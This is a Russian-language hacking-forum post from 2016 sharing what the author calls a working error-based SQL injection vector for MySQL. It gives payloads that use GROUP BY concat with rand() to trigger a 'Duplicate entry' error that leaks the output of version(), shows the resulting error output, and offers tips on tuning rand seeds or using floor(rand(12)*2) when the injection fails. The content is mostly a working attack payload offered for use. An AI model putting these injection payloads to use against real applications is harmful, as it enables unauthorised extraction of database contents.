Показать сообщение отдельно

  #7  
Старый 05.12.2016, 21:43
t0ma5
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
Провел на форуме:
300820

Репутация: 90


По умолчанию

стопудово это с rand накосячили, пофазил другие функции, такого поведения нет

рабочий вектор 'Duplicate entry' для error-based

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))

нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить

-------------

ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло
 
Ответить с цитированием